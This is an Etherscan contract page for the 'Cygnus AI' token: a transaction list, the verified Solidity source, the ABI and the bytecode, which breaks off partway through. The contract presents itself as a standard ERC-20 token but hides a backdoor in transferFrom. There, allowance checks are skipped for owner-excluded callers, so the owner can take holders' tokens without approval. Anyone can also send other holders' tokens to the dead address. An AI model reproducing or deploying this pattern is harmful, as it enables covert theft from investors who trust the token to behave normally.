ETH Price: $3,066.32 (-1.73%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve230300512025-07-30 6:07:23137 days ago1753855643IN
0x70FD37b0...77249369d
0 ETH0.000110772.39817467
Transfer From230300512025-07-30 6:07:23137 days ago1753855643IN
0x70FD37b0...77249369d
0 ETH0.000170042.39817467
Approve230299872025-07-30 5:54:35137 days ago1753854875IN
0x70FD37b0...77249369d
0 ETH0.000044751.53830189
Transfer From230299872025-07-30 5:54:35137 days ago1753854875IN
0x70FD37b0...77249369d
0 ETH0.000123271.53830189
Approve230295512025-07-30 4:27:11137 days ago1753849631IN
0x70FD37b0...77249369d
0 ETH0.000060652.30880935
Approve230295422025-07-30 4:25:23137 days ago1753849523IN
0x70FD37b0...77249369d
0 ETH0.000108142.34239224
Approve230294072025-07-30 3:58:23137 days ago1753847903IN
0x70FD37b0...77249369d
0 ETH0.000091771.97590845
Approve230290952025-07-30 2:54:59137 days ago1753844099IN
0x70FD37b0...77249369d
0 ETH0.000087791.88877576
Approve230290912025-07-30 2:54:11137 days ago1753844051IN
0x70FD37b0...77249369d
0 ETH0.000110432.37598342
Approve230289922025-07-30 2:34:11137 days ago1753842851IN
0x70FD37b0...77249369d
0 ETH0.000311676.70721183
Approve230288892025-07-30 2:13:35137 days ago1753841615IN
0x70FD37b0...77249369d
0 ETH0.000078581.69322713
Approve230287562025-07-30 1:46:47137 days ago1753840007IN
0x70FD37b0...77249369d
0 ETH0.000095772.06052917
Approve230287562025-07-30 1:46:47137 days ago1753840007IN
0x70FD37b0...77249369d
0 ETH0.000095772.06052917
Approve230287562025-07-30 1:46:47137 days ago1753840007IN
0x70FD37b0...77249369d
0 ETH0.000095772.06052917
Approve230287372025-07-30 1:42:59137 days ago1753839779IN
0x70FD37b0...77249369d
0 ETH0.000089331.92194218
Approve230287372025-07-30 1:42:59137 days ago1753839779IN
0x70FD37b0...77249369d
0 ETH0.000089331.92194218
Approve230287372025-07-30 1:42:59137 days ago1753839779IN
0x70FD37b0...77249369d
0 ETH0.000089331.92194218
Approve230287372025-07-30 1:42:59137 days ago1753839779IN
0x70FD37b0...77249369d
0 ETH0.000089331.92194218
Approve230287372025-07-30 1:42:59137 days ago1753839779IN
0x70FD37b0...77249369d
0 ETH0.000089331.92194218
Approve230287372025-07-30 1:42:59137 days ago1753839779IN
0x70FD37b0...77249369d
0 ETH0.000089331.92194218
Approve230287372025-07-30 1:42:59137 days ago1753839779IN
0x70FD37b0...77249369d
0 ETH0.000089331.92194218
Approve230287372025-07-30 1:42:59137 days ago1753839779IN
0x70FD37b0...77249369d
0 ETH0.000089331.92194218
Approve230287372025-07-30 1:42:59137 days ago1753839779IN
0x70FD37b0...77249369d
0 ETH0.000089331.92194218
Approve230287372025-07-30 1:42:59137 days ago1753839779IN
0x70FD37b0...77249369d
0 ETH0.000089331.92194218
Approve230287372025-07-30 1:42:59137 days ago1753839779IN
0x70FD37b0...77249369d
0 ETH0.000089331.92194218
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
Add Liquidity ET...230264472025-07-29 18:01:59138 days ago1753812119
0x70FD37b0...77249369d
2 ETH
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2025-07-29
*/

/*
The First Web3 Instagram App Layer - onboarding the next billion users.

https://www.cygnusai.space
https://docs.cygnusai.space
https://x.com/CygnusEthereum
https://t.me/CygnusEthereum
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this"); _; 
    }
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    function owner() public view returns (address) { return _owner; }
    function transferOwnership(address payable newowner) external onlyOwner { 
        _owner = newowner; 
        emit OwnershipTransferred(newowner); }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0);
        emit OwnershipTransferred(address(0)); }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}


contract Token is IERC20, Auth {
    string private constant _name    = "Cygnus AI";
    string private constant _symbol  = "CYGNUS";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);
      
    uint8 private _taxForSell = 0;
    uint8 private _taxForBuy  = 0;
    
    uint256 private _maxTxVal = _totalSupply; 
    uint256 private _maxWalletVal = _totalSupply;
    uint256 private _swapMin = _totalSupply * 100 / 100000;
    uint256 private _swapMax = _totalSupply * 800 / 100000;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeForFee;
    mapping (address => bool) private _isExcludeForLimit;

    address private constant _uniRouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private immutable WETH;
    
    IUniswapV2Router02 private _uniswapV2Router = IUniswapV2Router02(_uniRouter);
    address private _lpOwner;
    address private _primaryLP; 
    mapping (address => bool) private _isLP;
    address constant _deadAddr = address(0xdead);

    bool private _tradingOpen;

    bool private _inSwap = false;
    modifier lockTaxSwap { 
        _inSwap = true; 
        _; _inSwap = false; 
    }

    constructor() payable Auth(msg.sender) {
        _lpOwner = msg.sender;
        WETH = _uniswapV2Router.WETH();

        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);  

        _isExcludeForFee[_owner] = true;
        _isExcludeForFee[address(this)] = true;
        _isExcludeForFee[_uniRouter] = true;
        _isExcludeForLimit[_owner] = true;
        _isExcludeForLimit[address(this)] = true;
        _isExcludeForLimit[_uniRouter] = true;
        
    }

    receive() external payable {}
    
    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function balanceOf(address account) public view override returns (uint256) { 
        return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { 
        return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }

    function transfer(address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, toWallet, amount); }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_uniRouter] < _tokenAmount ) {
            _allowances[address(this)][_uniRouter] = type(uint256).max;
            emit Approval(address(this), _uniRouter, type(uint256).max);
        }
    }
    
    function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(fromWallet), "Trading not open");
        if (
            !_isExcludeForLimit[msg.sender] &&
            (fromWallet == _primaryLP || toWallet != _deadAddr)
        )_allowances[fromWallet][msg.sender] -= amount;
        return _transferFrom(fromWallet, toWallet, amount); }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveRouter(_tokenAmount);
        _uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _lpOwner, block.timestamp );
    }

    function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from 0 wallet");
        if (!_tradingOpen) { require(_isExcludeForFee[sender] && _isExcludeForLimit[sender], "Trading not yet open"); }
        if ( !_inSwap && _isLP[toWallet] ) { _swapTaxAndLiquify(); }

        if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { 
            require(_checkLimits(sender, toWallet, amount), "TX over limits"); 
        }

        uint256 _taxAmount = _calculateTax(sender, toWallet, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] -= amount;
        _balances[address(this)] += _taxAmount;
        _balances[toWallet] += _transferAmount;
        emit Transfer(sender, toWallet, amount);
        return true;
    }

    function _checkTradingOpen(address fromWallet) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_isExcludeForFee[fromWallet] && _isExcludeForLimit[fromWallet]) { checkResult = true; } 

        return checkResult;
    }

    function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
        bool _limitPassed = true;
        if ( _tradingOpen && !_isExcludeForLimit[fromWallet] && !_isExcludeForLimit[toWallet] ) {
            if ( transferAmount > _maxTxVal ) { 
                _limitPassed = false; 
            }
            else if ( 
                !_isLP[toWallet] && (_balances[toWallet] + transferAmount > _maxWalletVal) 
                ) { _limitPassed = false; }
        }
        return _limitPassed;
    }

    function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _isExcludeForFee[fromWallet] || _isExcludeForFee[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[fromWallet] ) { 
            taxAmount = amount * _taxForBuy / 100; 
         } else if ( _isLP[recipient] ) { 
            taxAmount = amount * _taxForSell / 100; 
        }

        return taxAmount;
    }

    function buyFee() external view returns(uint8) { return _taxForBuy; }
    function sellFee() external view returns(uint8) { return _taxForSell; }

    function updateFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
        require(buyFees + sellFees <= 20, "Roundtrip too high");
        _taxForBuy = buyFees;
        _taxForSell = sellFees;
    }  

    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokenAvailable = _balances[address(this)];
        if ( _taxTokenAvailable >= _swapMin && _tradingOpen ) {
            if ( _taxTokenAvailable >= _swapMax ) { _taxTokenAvailable = _swapMax; }
            
            _swapTokensForETH(_taxTokenAvailable);
        }
        uint256 _contractETHBalance = address(this).balance;
        _sendFeeTo(_contractETHBalance);
    }

    function _swapTokensForETH(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = WETH ;
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function enableTrading() external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP created");
        require(!_tradingOpen, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH");
        require(_balances[address(this)]>0, "No tokens");
        _primaryLP = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), WETH);
        _addLiquidity(_balances[address(this)], address(this).balance);
        _isLP[_primaryLP] = true;
        _tradingOpen = true;
    }

    function _sendFeeTo(uint256 amount) private {
        payable(_lpOwner).transfer(amount);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) 
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWallet","type":"address"},{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newowner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyFees","type":"uint8"},{"internalType":"uint8","name":"sellFees","type":"uint8"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040525f805461ffff60a01b191690556200001f6009600a620003e5565b6200002f90633b9aca00620003fc565b600155620000406009600a620003e5565b6200005090633b9aca00620003fc565b600255620186a0620000656009600a620003e5565b6200007590633b9aca00620003fc565b62000082906064620003fc565b6200008e919062000416565b600355620186a0620000a36009600a620003e5565b620000b390633b9aca00620003fc565b620000c190610320620003fc565b620000cd919062000416565b600490815560098054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03199182168117909255600d805461ff00191690555f8054339083168117909155600a8054909216179055604080516315ab88c960e31b81529051919263ad5c46489282820192602092908290030181865afa15801562000155573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200017b919062000436565b6001600160a01b0316608052620001956009600a620003e5565b620001a590633b9aca00620003fc565b305f81815260056020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e76009600a620003e5565b620001f790633b9aca00620003fc565b60405190815260200160405180910390a35f80546001600160a01b0390811682526007602090815260408084208054600160ff1991821681179092553080875283872080548316841790557ffd21a1ac9a14dff647460ce8ad2ccecb794a59a4cfbb8678b1f9900a6a99551f8054831684179055865490951686526008909352818520805484168217905592845283208054821683179055737a250d5630b4cf539739df2c5dacb4c659f2488d9092527f226e7c4e32ba0cd918c39b21526eb23f3f5958fcfd83d5cf69b9510bf01e2e1780549092161790556200045e565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200032a57815f19048211156200030e576200030e620002d6565b808516156200031c57918102915b93841c9390800290620002ef565b509250929050565b5f826200034257506001620003df565b816200035057505f620003df565b8160018114620003695760028114620003745762000394565b6001915050620003df565b60ff841115620003885762000388620002d6565b50506001821b620003df565b5060208310610133831016604e8410600b8410161715620003b9575081810a620003df565b620003c58383620002ea565b805f1904821115620003db57620003db620002d6565b0290505b92915050565b5f620003f560ff84168362000332565b9392505050565b8082028115828204841417620003df57620003df620002d6565b5f826200043157634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000447575f80fd5b81516001600160a01b0381168114620003f5575f80fd5b6080516115196200047e5f395f81816107b2015261102701526115195ff3fe6080604052600436106100f2575f3560e01c806370a082311161008757806395d89b411161005757806395d89b41146102a2578063a9059cbb146102d0578063dd62ed3e146102ef578063f2fde38b14610333575f80fd5b806370a082311461022c578063715018a6146102605780638a8c523c146102745780638da5cb5b1461027c575f80fd5b80632b14ca56116100c25780632b14ca56146101b0578063313ce567146101db57806347062402146101ee578063683ad2ec1461020b575f80fd5b806306fdde03146100fd578063095ea7b31461014057806318160ddd1461016f57806323b872dd14610191575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b506040805180820190915260098152684379676e757320414960b81b60208201525b604051610137919061110a565b60405180910390f35b34801561014b575f80fd5b5061015f61015a36600461116a565b610352565b6040519015158152602001610137565b34801561017a575f80fd5b506101836103be565b604051908152602001610137565b34801561019c575f80fd5b5061015f6101ab366004611194565b6103de565b3480156101bb575f80fd5b505f54600160a01b900460ff165b60405160ff9091168152602001610137565b3480156101e6575f80fd5b5060096101c9565b3480156101f9575f80fd5b505f54600160a81b900460ff166101c9565b348015610216575f80fd5b5061022a6102253660046111e7565b6104bd565b005b348015610237575f80fd5b50610183610246366004611218565b6001600160a01b03165f9081526005602052604090205490565b34801561026b575f80fd5b5061022a61056b565b61022a6105d8565b348015610287575f80fd5b505f546040516001600160a01b039091168152602001610137565b3480156102ad575f80fd5b506040805180820190915260068152654359474e555360d01b602082015261012a565b3480156102db575f80fd5b5061015f6102ea36600461116a565b610896565b3480156102fa575f80fd5b50610183610309366004611233565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b34801561033e575f80fd5b5061022a61034d366004611218565b6108f1565b335f8181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103ac9086815260200190565b60405180910390a35060015b92915050565b5f6103cb6009600a61135e565b6103d990633b9aca0061136c565b905090565b5f6103e88461096d565b61042c5760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b335f9081526008602052604090205460ff1615801561046d5750600b546001600160a01b038581169116148061046d57506001600160a01b03831661dead14155b156104aa576001600160a01b0384165f908152600660209081526040808320338452909152812080548492906104a4908490611383565b90915550505b6104b58484846109d0565b949350505050565b5f546001600160a01b031633146104e65760405162461bcd60e51b815260040161042390611396565b60146104f282846113cd565b60ff1611156105385760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b6044820152606401610423565b5f805461ffff60a01b1916600160a81b60ff9485160260ff60a01b191617600160a01b9290931691909102919091179055565b5f546001600160a01b031633146105945760405162461bcd60e51b815260040161042390611396565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106015760405162461bcd60e51b815260040161042390611396565b600d805461ff001916610100179055600b546001600160a01b0316156106565760405162461bcd60e51b815260206004820152600a60248201526913140818dc99585d195960b21b6044820152606401610423565b600d5460ff16156106985760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b6044820152606401610423565b5f3411806106a557505f47115b6106da5760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b6044820152606401610423565b305f908152600560205260409020546107215760405162461bcd60e51b81526020600482015260096024820152684e6f20746f6b656e7360b81b6044820152606401610423565b60095f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610771573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079591906113e6565b6040516364e329cb60e11b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063c9c65396906044016020604051808303815f875af1158015610802573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082691906113e6565b600b80546001600160a01b0319166001600160a01b0392909216919091179055305f9081526005602052604090205461085f9047610c6a565b600b546001600160a01b03165f908152600c60205260409020805460ff19166001908117909155600d805461ffff19169091179055565b5f6108a03361096d565b6108df5760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b6044820152606401610423565b6108ea3384846109d0565b9392505050565b5f546001600160a01b0316331461091a5760405162461bcd60e51b815260040161042390611396565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b600d545f90819060ff1615610984575060016103b8565b6001600160a01b0383165f9081526007602052604090205460ff1680156109c257506001600160a01b0383165f9081526008602052604090205460ff165b156103b85750600192915050565b5f6001600160a01b038416610a275760405162461bcd60e51b815260206004820152601a60248201527f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000006044820152606401610423565b600d5460ff16610ab2576001600160a01b0384165f9081526007602052604090205460ff168015610a6f57506001600160a01b0384165f9081526008602052604090205460ff165b610ab25760405162461bcd60e51b81526020600482015260146024820152732a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610423565b600d54610100900460ff16158015610ae157506001600160a01b0383165f908152600c602052604090205460ff165b15610aee57610aee610d0c565b6001600160a01b0384163014801590610b1057506001600160a01b0383163014155b8015610b2957505f546001600160a01b03858116911614155b15610b7657610b39848484610d73565b610b765760405162461bcd60e51b815260206004820152600e60248201526d5458206f766572206c696d69747360901b6044820152606401610423565b5f610b82858585610e36565b90505f610b8f8285611383565b6001600160a01b0387165f90815260056020526040812080549293508692909190610bbb908490611383565b9091555050305f9081526005602052604081208054849290610bde908490611401565b90915550506001600160a01b0385165f9081526005602052604081208054839290610c0a908490611401565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610c5691815260200190565b60405180910390a350600195945050505050565b610c7382610f27565b600954600a5460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015610ce0573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d059190611414565b5050505050565b600d805461ff001916610100179055305f908152600560205260409020546003548110801590610d3e5750600d5460ff165b15610d5a576004548110610d5157506004545b610d5a81610fc9565b47610d64816110cf565b5050600d805461ff0019169055565b600d545f9060019060ff168015610da257506001600160a01b0385165f9081526008602052604090205460ff16155b8015610dc657506001600160a01b0384165f9081526008602052604090205460ff16155b156104b557600154831115610ddc57505f6104b5565b6001600160a01b0384165f908152600c602052604090205460ff16158015610e2757506002546001600160a01b0385165f90815260056020526040902054610e25908590611401565b115b156104b557505f949350505050565b600d545f90819060ff161580610e6357506001600160a01b0385165f9081526007602052604090205460ff165b80610e8557506001600160a01b0384165f9081526007602052604090205460ff165b15610e9157505f6104b5565b6001600160a01b0385165f908152600c602052604090205460ff1615610edb575f54606490610eca90600160a81b900460ff168561136c565b610ed4919061143f565b90506104b5565b6001600160a01b0384165f908152600c602052604090205460ff16156104b5575f54606490610f1490600160a01b900460ff168561136c565b610f1e919061143f565b95945050505050565b305f908152600660209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d8452909152902054811115610fc657305f818152600660209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d808552908352928190205f199081905590519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b50565b610fd281610f27565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106110055761100561145e565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000000000000000000000000000000000000000000000816001815181106110595761105961145e565b6001600160a01b03928316602091820292909201015260095460405163791ac94760e01b815291169063791ac9479061109e9085905f90869030904290600401611472565b5f604051808303815f87803b1580156110b5575f80fd5b505af11580156110c7573d5f803e3d5ffd5b505050505050565b600a546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611106573d5f803e3d5ffd5b5050565b5f602080835283518060208501525f5b818110156111365785810183015185820160400152820161111a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fc6575f80fd5b5f806040838503121561117b575f80fd5b823561118681611156565b946020939093013593505050565b5f805f606084860312156111a6575f80fd5b83356111b181611156565b925060208401356111c181611156565b929592945050506040919091013590565b803560ff811681146111e2575f80fd5b919050565b5f80604083850312156111f8575f80fd5b611201836111d2565b915061120f602084016111d2565b90509250929050565b5f60208284031215611228575f80fd5b81356108ea81611156565b5f8060408385031215611244575f80fd5b823561124f81611156565b9150602083013561125f81611156565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156112b857815f190482111561129e5761129e61126a565b808516156112ab57918102915b93841c9390800290611283565b509250929050565b5f826112ce575060016103b8565b816112da57505f6103b8565b81600181146112f057600281146112fa57611316565b60019150506103b8565b60ff84111561130b5761130b61126a565b50506001821b6103b8565b5060208310610133831016604e8410600b8410161715611339575081810a6103b8565b611343838361127e565b805f19048211156113565761135661126a565b029392505050565b5f6108ea60ff8416836112c0565b80820281158282048414176103b8576103b861126a565b818103818111156103b8576103b861126a565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b60ff81811683821601908111156103b8576103b861126a565b5f602082840312156113f6575f80fd5b81516108ea81611156565b808201808211156103b8576103b861126a565b5f805f60608486031215611426575f80fd5b8351925060208401519150604084015190509250925092565b5f8261145957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156114c25784516001600160a01b03168352938301939183019160010161149d565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212201c83fc29eefca90ff502a09cbe0b9c7d074e39d9c9bc22619a070b1922220c4464736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100f2575f3560e01c806370a082311161008757806395d89b411161005757806395d89b41146102a2578063a9059cbb146102d0578063dd62ed3e146102ef578063f2fde38b14610333575f80fd5b806370a082311461022c578063715018a6146102605780638a8c523c146102745780638da5cb5b1461027c575f80fd5b80632b14ca56116100c25780632b14ca56146101b0578063313ce567146101db57806347062402146101ee578063683ad2ec1461020b575f80fd5b806306fdde03146100fd578063095ea7b31461014057806318160ddd1461016f57806323b872dd14610191575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b506040805180820190915260098152684379676e757320414960b81b60208201525b604051610137919061110a565b60405180910390f35b34801561014b575f80fd5b5061015f61015a36600461116a565b610352565b6040519015158152602001610137565b34801561017a575f80fd5b506101836103be565b604051908152602001610137565b34801561019c575f80fd5b5061015f6101ab366004611194565b6103de565b3480156101bb575f80fd5b505f54600160a01b900460ff165b60405160ff9091168152602001610137565b3480156101e6575f80fd5b5060096101c9565b3480156101f9575f80fd5b505f54600160a81b900460ff166101c9565b348015610216575f80fd5b5061022a6102253660046111e7565b6104bd565b005b348015610237575f80fd5b50610183610246366004611218565b6001600160a01b03165f9081526005602052604090205490565b34801561026b575f80fd5b5061022a61056b565b61022a6105d8565b348015610287575f80fd5b505f546040516001600160a01b039091168152602001610137565b3480156102ad575f80fd5b506040805180820190915260068152654359474e555360d01b602082015261012a565b3480156102db575f80fd5b5061015f6102ea36600461116a565b610896565b3480156102fa575f80fd5b50610183610309366004611233565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b34801561033e575f80fd5b5061022a61034d366004611218565b6108f1565b335f8181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103ac9086815260200190565b60405180910390a35060015b92915050565b5f6103cb6009600a61135e565b6103d990633b9aca0061136c565b905090565b5f6103e88461096d565b61042c5760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b335f9081526008602052604090205460ff1615801561046d5750600b546001600160a01b038581169116148061046d57506001600160a01b03831661dead14155b156104aa576001600160a01b0384165f908152600660209081526040808320338452909152812080548492906104a4908490611383565b90915550505b6104b58484846109d0565b949350505050565b5f546001600160a01b031633146104e65760405162461bcd60e51b815260040161042390611396565b60146104f282846113cd565b60ff1611156105385760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b6044820152606401610423565b5f805461ffff60a01b1916600160a81b60ff9485160260ff60a01b191617600160a01b9290931691909102919091179055565b5f546001600160a01b031633146105945760405162461bcd60e51b815260040161042390611396565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106015760405162461bcd60e51b815260040161042390611396565b600d805461ff001916610100179055600b546001600160a01b03161561065